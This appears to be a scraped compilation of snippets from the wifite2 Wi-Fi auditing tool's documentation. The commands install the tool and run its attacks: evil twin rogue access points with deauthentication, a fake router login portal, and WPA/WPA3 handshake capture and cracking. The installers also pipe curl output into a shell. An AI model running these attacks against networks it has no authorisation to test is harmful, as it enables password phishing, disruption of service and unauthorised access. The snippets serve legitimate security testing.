### Install Wifite from Source

Source: https://context7.com/kimocoder/wifite2/llms.txt

Clone the repository, navigate to the directory, and install the tool system-wide using setup.py. For development, use Poetry for installation and running.

```bash
git clone https://github.com/kimocoder/wifite2.git
cd wifite2
sudo python3 setup.py install
```

```bash
poetry install
sudo poetry run wifite
```

--------------------------------

### Quick Install Wifite2

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Use this method for a straightforward installation on Kali Linux or similar distributions. It clones the repository, installs the package system-wide, and then runs Wifite.

```bash
git clone https://github.com/kimocoder/wifite2.git
cd wifite2
sudo python3 setup.py install
sudo wifite
```

--------------------------------

### Verbose Help with Examples

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Display comprehensive help information, including examples, for Wifite2.

```bash
# Verbose help with examples
sudo wifite -h -v
```

--------------------------------

### Development Install Wifite2 with Poetry

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Recommended for developers, this method uses Poetry for dependency management and reproducible builds. It installs Poetry, clones the repository, installs dependencies, and runs Wifite.

```bash
curl -sSL https://install.python-poetry.org | python3 -
git clone https://github.com/kimocoder/wifite2.git
cd wifite2
poetry install
sudo poetry run wifite
```

```bash
poetry shell
sudo wifite
```

--------------------------------

### Complete Advanced Example

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

A comprehensive example combining multiple advanced options for a dual interface attack.

```bash
sudo wifite --dual-interface \
            --interface-primary wlan0 \
            --interface-secondary wlan1 \
            --eviltwin \
            -b AA:BB:CC:DD:EE:FF \
            -c 6 \
            --portal-template netgear \
            --deauth-count 10 \
            --validate-timeout 30 \
            --eviltwin-timeout 600 \
            --kill \
            --mac-randomize \
            -vv
```

--------------------------------

### Install WPA3 Tools on Ubuntu/Debian

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Installs essential tools for WPA3 attacks, including build dependencies, hcxtools, hcxdumptool, and hashcat. Includes options for installing hashcat from source and tshark.

```bash
sudo apt update

sudo apt install -y build-essential libssl-dev pkg-config

git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make
sudo make install

git clone https://github.com/ZerBea/hcxdumptool.git
cd hcxdumptool
make
sudo make install

sudo apt install -y hashcat

git clone https://github.com/hashcat/hashcat.git
cd hashcat
make
sudo make install

sudo apt install -y tshark
```

--------------------------------

### Install Wifite2 Dependencies on Fedora/RHEL

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

Installs hostapd, dnsmasq, wpa_supplicant, and iptables using dnf.

```bash
sudo dnf install hostapd dnsmasq wpa_supplicant iptables
```

--------------------------------

### Test Setup with Dual Interface

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

A quick command to test your Wifite2 setup in dual interface mode with verbose output.

```bash
# Test your setup
sudo wifite --dual-interface -v
```

--------------------------------

### Test Hostapd Configuration

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Manually test the `hostapd` component by creating a minimal configuration file and starting the service. This helps isolate issues related to Access Point setup.

```bash
cat > /tmp/hostapd.conf << EOF
interface=wlan1
driver=nl80211
ssid=TestAP
channel=6
hw_mode=g
EOF

sudo hostapd /tmp/hostapd.conf
```

--------------------------------

### Install Wifite2 Dependencies on Arch Linux

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

Installs hostapd, dnsmasq, wpa_supplicant, and iptables using pacman.

```bash
sudo pacman -S hostapd dnsmasq wpa_supplicant iptables
```

--------------------------------

### Install Wifite2 Dependencies on Debian/Ubuntu/Kali

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

Install the necessary software packages for running wifite2, including hostapd for creating access points, dnsmasq for DHCP/DNS, and wpa_supplicant for credential validation. Ensure these tools are installed before proceeding with wifite2.

```bash
# Install required packages
sudo apt update
sudo apt install hostapd dnsmasq wpa-supplicant iptables

# Verify installations
hostapd -v
dnsmasq -v
wpa_supplicant -v
```

--------------------------------

### Show All Wifite Options

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Use the verbose help flag to display all available options with examples for Wifite.

```bash
sudo wifite -h -v
```

--------------------------------

### Install WPA3 Tools on Kali Linux

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Installs necessary tools for WPA3 support on Kali Linux. Ensure your tools are up-to-date for optimal performance.

```bash
sudo apt update
sudo apt install hcxdumptool hcxtools hashcat
```

--------------------------------

### Verify hostapd Installation

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Check if hostapd is installed and its version. Also, confirm its executable path.

```bash
hostapd -v
```

```bash
which hostapd
```

--------------------------------

### Install WPA3 Tools on Arch Linux

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Installs WPA3-related tools using official repositories or the AUR for the latest versions.

```bash
sudo pacman -S hcxtools hcxdumptool hashcat wireshark-cli

yay -S hcxtools-git hcxdumptool-git hashcat-git
```

--------------------------------

### Verify hcxtools Installation

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Verify that the wlancap2wpasec tool from the hcxtools suite is installed correctly and accessible.

```bash
wlancap2wpasec --version
```

--------------------------------

### Test hostapd Manually

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Create a basic hostapd configuration file and attempt to start hostapd manually to diagnose issues.

```bash
# Create test config
cat > /tmp/test_hostapd.conf << EOF
interface=wlan0
driver=nl80211
ssid=TestAP
channel=6
hw_mode=g
EOF

# Try to start hostapd
sudo hostapd /tmp/test_hostapd.conf
```

--------------------------------

### Quick Start with Dual Interfaces

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Run wifite in automatic dual interface mode for improved performance. This mode automatically detects and assigns wireless interfaces.

```bash
sudo wifite --dual-interface
```

```bash
sudo wifite --dual-interface --eviltwin
```

```bash
sudo wifite --dual-interface --wpa
```

```bash
sudo wifite --interface-primary wlan0 --interface-secondary wlan1
```

--------------------------------

### Verify dnsmasq Installation

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Check if dnsmasq is installed and its version. Also, confirm its executable path.

```bash
dnsmasq --version
```

```bash
which dnsmasq
```

--------------------------------

### Run Dnsmasq Server

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

Starts the dnsmasq server with specified configuration and DNS entries. Ensure the configuration and entries files exist.

```bash
dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries
```

--------------------------------

### Install hcxtools on Debian/Ubuntu

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Install the hcxtools package, which includes the wlancap2wpasec tool required for wpa-sec integration with Wifite2.

```bash
sudo apt update && sudo apt install hcxtools
```

--------------------------------

### Check Tool Versions

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Verify the installed versions of key tools like `hostapd`, `dnsmasq`, and `wpa_supplicant`.

```bash
hostapd -v
```

```bash
dnsmasq -v
```

```bash
wpa_supplicant -v
```

--------------------------------

### hcxdumptool Installation and Requirements

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Commands to check if hcxdumptool is installed, verify its version, and install it on Debian/Ubuntu, Arch Linux, or from source. Requires version 6.2.0+.

```bash
which hcxdumptool
```

```bash
hcxdumptool --version
```

```bash
sudo apt install hcxdumptool hcxtools
```

```bash
sudo pacman -S hcxdumptool hcxtools
```

```bash
git clone https://github.com/ZerBea/hcxdumptool.git
cd hcxdumptool
make
sudo make install
```

--------------------------------

### Start DNSMasq for DHCP and DNS Resolution

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

This snippet starts the dnsmasq service for DHCP and DNS resolution. It first kills any existing dnsmasq processes before starting a new one with a specified configuration file.

```bash
killall dnsmasq
dnsmasq -C dnsmasq.conf
```

--------------------------------

### Start Wi-Fi Access Point with Hostapd

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

This command starts the hostapd service to create a Wi-Fi access point on the specified interface (wlan0). It first ensures any existing hostapd processes are terminated.

```bash
killall hostapd
hostapd ./hostapd.conf -i wlan0
```

--------------------------------

### Check wpa_supplicant Installation

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Verify that wpa_supplicant is installed and accessible in your system's PATH. This tool is often used for testing wireless network authentication.

```bash
wpa_supplicant -v
```

```bash
which wpa_supplicant
```

--------------------------------

### Verify Wifite2 Installation and Dependencies

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Check if Wifite2 is installed correctly and all necessary dependencies are met. This command also reports on wireless interface capabilities and attack readiness.

```bash
sudo wifite --syscheck
```

--------------------------------

### Check wpa_supplicant Installation

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

Confirm that 'wpa_supplicant' is installed and accessible on your system. This is a dependency for certain network operations, including some aspects of Wifite's attack modes.

```bash
which wpa_supplicant
wpa_supplicant -v
```

--------------------------------

### Install Wifite2 via Package Manager

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Install Wifite2 using system package managers. This is the recommended method for Kali Linux/Debian and Arch Linux.

```bash
sudo apt update && sudo apt install wifite
```

```bash
yay -S wifite2-git
```

--------------------------------

### Verify Wifite2 Tool Installation

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

Checks if essential tools like hostapd, dnsmasq, wpa_supplicant, and iptables are installed and accessible.

```bash
# Check if all tools are available
which hostapd dnsmasq wpa_supplicant iptables

# Test hostapd
sudo hostapd -h

# Test dnsmasq
sudo dnsmasq --version
```

--------------------------------

### Wifite2 Complete Evil Twin Attack Example

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

A comprehensive example demonstrating the use of multiple advanced options for an Evil Twin attack.

```bash
# Full attack with all options
sudo wifite --eviltwin \
  -b AA:BB:CC:DD:EE:FF \
  --eviltwin-fakeap-iface wlan1 \
  --eviltwin-deauth-iface wlan0mon \
  --eviltwin-template netgear \
  --eviltwin-deauth-interval 8 \
  --eviltwin-port 80
```

--------------------------------

### Install hcxdumptool and hcxtools

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_GUIDE.md

Commands to install hcxdumptool and hcxtools on Debian/Ubuntu, Arch Linux, or from source. These are required for the --hcxdump mode in Wifite2.

```bash
# Debian/Ubuntu
sudo apt install hcxdumptool hcxtools
```

```bash
# Arch Linux
sudo pacman -S hcxdumptool hcxtools
```

```bash
# From source
git clone https://github.com/ZerBea/hcxdumptool.git
cd hcxdumptool
make
sudo make install
```

--------------------------------

### Install tshark on Arch Linux

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Installs the tshark utility, a requirement for Wifite2's attack monitoring feature, on Arch Linux.

```bash
sudo pacman -S wireshark-cli
```

--------------------------------

### Install tshark on Debian/Ubuntu

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Installs the tshark utility, a requirement for Wifite2's attack monitoring feature, on Debian-based systems.

```bash
sudo apt install tshark
```

--------------------------------

### Start Background Capture Session

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Starts a Wifite capture session in the background using nohup. This allows the capture to continue running even after logging out, suitable for long-duration SAE handshake captures.

```bash
nohup python3 wifite.py --no-deauth --target <BSSID> &
```

--------------------------------

### Start Web Server on Port 80

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

This command starts a simple Python HTTP server on port 80. This is typically run in a separate terminal.

```bash
python -m SimpleHTTPServer 80
```

--------------------------------

### Install hcxtools on Arch Linux

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Install the hcxtools package on Arch Linux, which includes the wlancap2wpasec tool required for wpa-sec integration with Wifite2.

```bash
sudo pacman -S hcxtools
```

--------------------------------

### Troubleshoot Hostapd Startup Failures

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

Resolve issues where 'hostapd' fails to start by killing conflicting network management processes. Wifite can also assist in cleaning up these processes.

```bash
sudo killall NetworkManager wpa_supplicant dhclient
```

```bash
sudo wifite --kill
```

```bash
sudo wifite --eviltwin
```

--------------------------------

### Start Wifite2 with Process Killing

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Run Wifite2 and automatically kill conflicting processes that might interfere with wireless operations. Use this flag for more reliable performance.

```bash
sudo airmon-ng check kill

```

--------------------------------

### Install WPA3 Tools on macOS

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Installs necessary WPA3 tools on macOS using Homebrew. Note that hcxdumptool may not function correctly on macOS.

```bash
# Install Homebrew if not already installed
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install tools
brew install hcxtools hashcat wireshark

# Note: hcxdumptool may not work on macOS
# Use alternative capture methods or Linux VM
```

--------------------------------

### Development Install Wifite2 with pip

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Suitable for development or modifying Wifite. This method involves cloning the repository, optionally creating and activating a virtual environment, and then installing dependencies using pip.

```bash
git clone https://github.com/kimocoder/wifite2.git
cd wifite2
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
```

--------------------------------

### Install and Verify WPA3 Tools on Kali Linux

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Updates existing WPA3 tools on Kali Linux and verifies their versions meet the minimum requirements.

```bash
sudo apt update
sudo apt install -y hcxtools hcxdumptool hashcat

# Verify versions
hcxdumptool --version  # Should be 6.0.0+
hcxpcapngtool --version  # Should be 6.0.0+
hashcat --version  # Should be 6.0.0+
```

--------------------------------

### Run Wifite2 Directly from Source

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Execute Wifite2 using Python 3 directly from its source code. Ensure you have Python 3 installed and the script is in your current directory.

```bash
sudo python3 wifite.py
```

--------------------------------

### Troubleshoot hcxdumptool Compilation

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Installs missing dependencies required for compiling hcxdumptool and then cleans and rebuilds the tool.

```bash
# Install missing dependencies
sudo apt install -y libpcap-dev libnl-3-dev libnl-genl-3-dev

# Clean and rebuild
make clean
make
sudo make install
```

--------------------------------

### Verify WPA3 Tool Installation and Hashcat SAE Support

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Checks if required WPA3 tools are installed and accessible, and verifies hashcat's support for WPA3-SAE (mode 22000).

```bash
# Check all required tools
which hcxdumptool
which hcxpcapngtool
which hashcat
which tshark

# Verify versions meet minimum requirements
hcxdumptool --version | head -1
hcxpcapngtool --version | head -1
hashcat --version | head -1

# Test hashcat SAE support
hashcat --help | grep -A 2 "22000"
```

--------------------------------

### hcxdump Scenarios

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Examples of using hcxdumptool for WPA2, WPA3, PMF-required networks (disabling deauthentication), and full spectrum capture on a specific channel.

```bash
sudo wifite --dual-interface --wpa --hcxdump -e "HomeNetwork"
```

```bash
sudo wifite --dual-interface --wpa3 --hcxdump -b AA:BB:CC:DD:EE:FF
```

```bash
sudo wifite --dual-interface --wpa --hcxdump --no-deauth -b AA:BB:CC:DD:EE:FF
```

```bash
sudo wifite --dual-interface --wpa --hcxdump -c 6
```

--------------------------------

### Start AP and Capture Traffic

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

Initializes a wireless interface as an access point and configures its IP address. This is a foundational step for setting up the Evil Twin network.

```bash
ifconfig wlan0 10.0.0.1/24 up

```

--------------------------------

### WPA3 Attack Examples

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Examples of WPA3 attacks using Wifite, including targeting specific networks, setting custom timeouts, cracking captured handshakes, and enabling verbose logging.

```bash
sudo wifite -b AA:BB:CC:DD:EE:FF
```

```bash
sudo wifite --wpa3-timeout 600
```

```bash
sudo wifite --crack --dict /path/to/wordlist.txt
```

```bash
sudo wifite -vv
```

--------------------------------

### Test Dnsmasq Configuration

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Manually test the `dnsmasq` service by creating a minimal configuration file and starting it with debug logging. This is useful for diagnosing DHCP and DNS issues.

```bash
cat > /tmp/dnsmasq.conf << EOF
interface=wlan1
dhcp-range=192.168.100.10,192.168.100.100,12h
EOF

sudo dnsmasq -C /tmp/dnsmasq.conf -d
```

--------------------------------

### Manual Cache Control for WPA3 Detection

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_DETECTION_OPTIMIZATION.md

Provides examples of manually controlling the WPA3 detection cache, including forcing a fresh detection and explicitly using the cache.

```python
# Force fresh detection (bypass cache)
wpa3_info = WPA3Detector.detect_wpa3_capability(target, use_cache=False)

# Use cache if available (default)
wpa3_info = WPA3Detector.detect_wpa3_capability(target, use_cache=True)
```

--------------------------------

### Analyze Capture File with hcxpcapngtool

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Use hcxpcapngtool to get detailed information about the capture file, including whether it contains WPA3 or SAE handshake elements.

```bash
hcxpcapngtool --info capture.pcapng
```

--------------------------------

### Test Python HTTP Server

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Start a simple Python HTTP server to test basic web server functionality, which is often part of an evil twin attack.

```bash
cd /tmp
echo "Test Page" > index.html
sudo python3 -m http.server 80
```

--------------------------------

### Complete Evil Twin Attack Example

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

A comprehensive Evil Twin attack configuration using dual interfaces, targeting a specific BSSID, using a custom portal template, and with specific deauthentication and validation settings.

```bash
sudo wifite --dual-interface \
            --eviltwin \
            -b AA:BB:CC:DD:EE:FF \
            --portal-template netgear \
            --deauth-count 5 \
            --validate-timeout 30 \
            -v
```

--------------------------------

### Dynamic Login Page Content with JavaScript

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

Example JavaScript for dynamically setting page titles and text content on a captive portal login page. This allows for multi-language support and user-friendly messages.

```javascript
document.title = 'Router Login';
document.querySelector('#warn').textContent('You need to login after router firmware upgrade.');
document.querySelector('#pass').textContent('Password:');
// ...
```

--------------------------------

### Check Interface Status and Link Information

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Use `iw dev` to get detailed information about your wireless interface, including link status. This helps diagnose connectivity problems.

```bash
iw dev wlan0 info
```

```bash
iw dev wlan0 link
```

--------------------------------

### Configure hostapd for Rogue AP

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

Configuration for hostapd to start an access point. Ensure driver, SSID, hardware mode, and channel are set appropriately for the target environment.

```bash
driver=nl80211
ssid=$EVIL_SSID
hw_mode=$BAND
channel=$CHANNEL
```

--------------------------------

### Wifite Basic and WPA3 Usage

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

These commands demonstrate basic Wifite usage and specific WPA3 attack configurations. Use `wifite -h -v` for a full list of options.

```bash
sudo wifite
```

```bash
sudo wifite --wpa3-only
```

```bash
sudo wifite --force-sae
```

```bash
sudo wifite --no-downgrade
```

```bash
sudo wifite --check-dragonblood
```

--------------------------------

### List Wireless Interfaces

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Use 'iw dev' to list all available wireless network interfaces on your system.

```bash
# List all wireless interfaces
iw dev
```

--------------------------------

### Show Dual Interface Help Options

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Filter Wifite2's help output to display only options related to dual interface functionality.

```bash
# Show all dual interface options
sudo wifite -h | grep -A 20 "dual"
```

--------------------------------

### Check Wireless Interface Capabilities

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_GUIDE.md

Use 'iw dev' to list interfaces and 'iw phy phyX info' to check capabilities like AP and monitor mode support.

```bash
# List all wireless interfaces
iw dev

# Check capabilities of a specific interface
iw phy phy0 info

# Look for these in the output:
# - "Supported interface modes: * AP" (for Evil Twin primary)
# - "Supported interface modes: * monitor" (required for all)
```

--------------------------------

### Dual Interface Help

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Filter the verbose help output to display options related to dual wireless interface usage.

```bash
sudo wifite -h -v | grep -A 20 "DUAL INTERFACE"
```

--------------------------------

### Check Interface Capabilities

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Inspect the capabilities of specific wireless hardware using 'iw phy info'. Replace 'phy0' and 'phy1' with your actual phy identifiers.

```bash
# Check interface capabilities
iw phy phy0 info
iw phy phy1 info
```

--------------------------------

### Automatic Dual Interface (Recommended)

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

The simplest way to enable dual interface mode, letting Wifite2 automatically select interfaces.

```bash
# Automatic dual interface (recommended)
sudo wifite --dual-interface
```

--------------------------------

### List and Clean Wifite Sessions

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Manage Wifite session files. Use --resume to list available sessions and select one to resume. Use --clean-sessions to remove old session files, keeping your system tidy.

```bash
# List and choose from available sessions
sudo wifite --resume

# Clean up old session files (older than 7 days)
sudo wifite --clean-sessions
```

--------------------------------

### Kill Interfering Processes

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Kill interfering processes before starting an attack with dual interfaces.

```bash
sudo wifite --dual-interface --kill
```

--------------------------------

### List and Check Wireless Interfaces

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

List all available wireless interfaces and check their capabilities, specifically for AP mode support. This helps in identifying compatible hardware or selecting the correct interface.

```bash
iw dev
```

```bash
iw list
```

--------------------------------

### Manually Test Network Connection with wpa_supplicant

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Create a test configuration file and use wpa_supplicant to manually attempt a connection to a target network. This helps isolate issues with credential validation.

```bash
cat > /tmp/test_wpa.conf << EOF
network={
    ssid="TargetNetwork"
    psk="testpassword"
}
EOF
```

```bash
sudo wpa_supplicant -i wlan2 -c /tmp/test_wpa.conf
```

--------------------------------

### Monitor Attacks for Specific Duration

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Starts attack monitoring and stops after a specified duration in seconds. Requires root privileges.

```bash
sudo wifite --monitor-attacks --monitor-duration 300
```

--------------------------------

### Verify Hashcat Mode Support

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Ensure that your Hashcat installation supports the required mode for WPA3 SAE hashes (mode 22000).

```bash
hashcat --help | grep 22000
```

--------------------------------

### Troubleshooting hcxdump Mode

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Commands to test hcxdumptool functionality with specific interfaces and to check its installed version, essential for ensuring proper operation.

```bash
sudo hcxdumptool -i wlan0 -o test.pcapng --enable_status=1
```

```bash
hcxdumptool --version
```

--------------------------------

### Verify Wireless Interface Capabilities

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Before manual selection, verify that your wireless interfaces support the required modes (monitor, AP, injection) using `iw` and `aireplay-ng` commands.

```bash
iw phy phy0 info | grep -A 10 "Supported interface modes"
```

```bash
iw phy phy1 info | grep -A 10 "Supported interface modes"
```

```bash
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
iw dev wlan0 info
```

```bash
sudo aireplay-ng --test wlan0
```

```bash
sudo aireplay-ng --test wlan1
```

```bash
sudo wifite --interface-primary wlan0 --interface-secondary wlan1
```

--------------------------------

### hcxdump Fallback Behavior

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Demonstrates Wifite's automatic fallback to airodump-ng when hcxdumptool is not found or its version is insufficient. Shows example output indicating the fallback.

```bash
sudo wifite --dual-interface --wpa --hcxdump -b AA:BB:CC:DD:EE:FF
```

--------------------------------

### Comparing Capture Methods

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Highlights the differences between traditional airodump-ng capture and modern hcxdumptool capture within Wifite, focusing on features, file formats, and compatibility.

```bash
# Traditional airodump-ng (default)
sudo wifite --dual-interface --wpa -b AA:BB:CC:DD:EE:FF
```

```bash
# Modern hcxdumptool (opt-in)
sudo wifite --dual-interface --wpa --hcxdump -b AA:BB:CC:DD:EE:FF
```

--------------------------------

### View dnsmasq Logs

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Check recent dnsmasq errors using journalctl to diagnose startup failures.

```bash
sudo journalctl -u dnsmasq -n 50
```

--------------------------------

### Manual Dual Interface Selection with Target Network

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Combine manual interface selection with specific network targeting using BSSID or ESSID for precise attacks.

```bash
sudo wifite --interface-primary wlan0 --interface-secondary wlan1 \
            -b AA:BB:CC:DD:EE:FF --eviltwin
```

```bash
sudo wifite --interface-primary wlan0 --interface-secondary wlan1 \
            -e "TargetNetwork" --wpa
```

--------------------------------

### Run WPA3 Detection Performance Tests

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_DETECTION_OPTIMIZATION.md

Shows the command to run performance tests for WPA3 detection using pytest, useful for identifying bottlenecks.

```bash
python -m pytest tests/test_wpa3_detection_performance.py -v -s
```

--------------------------------

### Troubleshoot Old Hashcat Version for WPA3 Support

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Removes an outdated version of hashcat and installs the latest version from source to ensure support for WPA3-SAE (mode 22000).

```bash
# Your hashcat version is too old
# Remove old version
sudo apt remove hashcat

# Install from source
git clone https://github.com/hashcat/hashcat.git
cd hashcat
make
sudo make install

# Verify
hashcat --version
```

--------------------------------

### Check Network Driver Information

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Use `ethtool` to retrieve information about the network driver for your interface.

```bash
ethtool -i wlan0
```

--------------------------------

### Enable Automatic Dual Interface Mode

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_GUIDE.md

Run Wifite2 with the --dual-interface flag to automatically detect and assign wireless adapters for attacks.

```bash
# Wifite2 will automatically detect two interfaces and use dual mode
sudo wifite --dual-interface

# For Evil Twin attacks specifically
sudo wifite --dual-interface --eviltwin

# For WPA attacks
sudo wifite --dual-interface --wpa
```

--------------------------------

### Manual Dual Interface Mode Selection

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_GUIDE.md

Specify primary and secondary interfaces using --interface-primary and --interface-secondary flags for manual control.

```bash
# Specify both primary and secondary interfaces
sudo wifite --interface-primary wlan0 --interface-secondary wlan1

# For Evil Twin with manual selection
sudo wifite --interface-primary wlan0 --interface-secondary wlan1 --eviltwin

# For WPA with manual selection
sudo wifite --interface-primary wlan0 --interface-secondary wlan1 --wpa
```

--------------------------------

### Manual Interface Selection

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Explicitly define the primary and secondary interfaces for Wifite2 operations.

```bash
# Manual interface selection
sudo wifite --interface-primary wlan0 --interface-secondary wlan1
```

--------------------------------

### Continuous Monitoring with Log Rotation

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Sets up continuous attack monitoring with logs saved to a directory, incorporating the date into the filename for automatic rotation. Requires root privileges.

```bash
sudo wifite --monitor-attacks --monitor-log /var/log/wifite/attacks_$(date +%Y%m%d).log
```

--------------------------------

### System Readiness Check

Source: https://context7.com/kimocoder/wifite2/llms.txt

Run a pre-flight check to verify tool availability, interface capabilities (monitor mode, injection), and attack readiness. Use -v for a monitor mode smoke test.

```bash
sudo wifite --syscheck
```

```bash
sudo wifite --syscheck -v
```

--------------------------------

### Enable Basic Automatic Dual Interface Mode

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Use this command to let wifite2 automatically detect and assign wireless interfaces for dual interface mode. It will identify capabilities and assign roles before starting the attack.

```bash
sudo wifite --dual-interface
```

--------------------------------

### Configure dnsmasq for DHCP and DNS

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

Configuration for dnsmasq to handle DHCP and DNS services. This setup includes a DHCP range, gateway, DNS server, and logging options. The DNS redirection part is commented out and may require iptables.

```bash
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
#no-resolv
server=8.8.8.8
log-queries
log-dhcp

# Redirect all requests (# is wildcard) to IP of evil web server:
# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports...
#address=/#/192.168.1.254
```

--------------------------------

### Create Monitor Mode Virtual Interface

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Create a virtual monitor mode interface from an existing wireless interface. This is an advanced solution when two physical interfaces are not available for AP and deauthentication tasks.

```bash
iw dev wlan0 interface add wlan0mon type monitor
```

--------------------------------

### Run Wifite with Root Privileges

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

